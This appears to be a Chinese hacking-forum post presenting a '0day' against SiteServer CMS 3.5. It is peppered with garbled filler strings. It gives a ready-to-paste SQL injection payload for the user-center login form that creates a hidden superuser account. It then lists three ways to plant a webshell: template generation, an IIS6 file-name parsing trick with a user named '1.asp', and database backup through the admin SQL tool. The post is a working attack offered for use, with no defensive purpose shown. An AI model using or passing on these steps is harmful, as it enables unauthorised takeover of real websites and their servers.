SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

+ c3 A1 ~" N" q  U9 e7 `- Qstieserver官网:www.siteserver.cn

; r" c2 x; z3 O/ x

/ G; w! h) u; N9 H9 b, A/ u0 @EXP:

直接访问UserCenter/login.aspx
, h2 L5 q* j8 e5 D) N3 y; A2 g

3 i' N8 M0 T2 g. D/ r- n
# t% C( j2 w2 C' q* l% H6 V6 `! t用户名处输入：

! s  y- P7 s% Q$ b/ @3 w: I3 G123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
. l: |) G; n. e8 h9 k% K5 c" Y0 K


密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。

3 n8 S! Y. B: P) G
. y: K# C7 `) v9 s( {
8 @9 a% B, w, J/ N之后再访问后台SiteServer/login.aspx用插入的用户登陆
7 H, u4 z7 Q+ A: P  C1 _$ u
) @$ L! u' a- n8 A5 A( I
" j2 f# S# b- H. D9 @- M0 x
) F. x& Q$ [, q) r后台拿webshell的三种方法：
" B* q% N0 p& Q5 x; C" U: H
一、

7 @( b& O; E* B; \站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

/ D- _, h/ i( ?0 g8 K二、
1 G0 c" G$ B; F" f9 K$ Y; a
7 x, t4 X" L- [& \成员权限-》添加用户-》用户名为：1.asp
/ f7 i% r" G2 y, L/ s$ N
http://127.0.0.1/usercenter/
3 ~5 z6 k0 e' j' H8 {5 L3 U
用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
  P7 Z# u; o: \, i$ ?# w9 V2 N
6 o/ @+ s6 W7 P（ps：后台添加用户时不会验证是否含有非法字符）

! l% J, M. Z9 c( S三、
$ W, u$ ?& O& d& p
系统工具-》实用工具-》机器参数查看
6 c6 j9 \' H2 z可以看到数据库类型、名称，WEB路径

系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。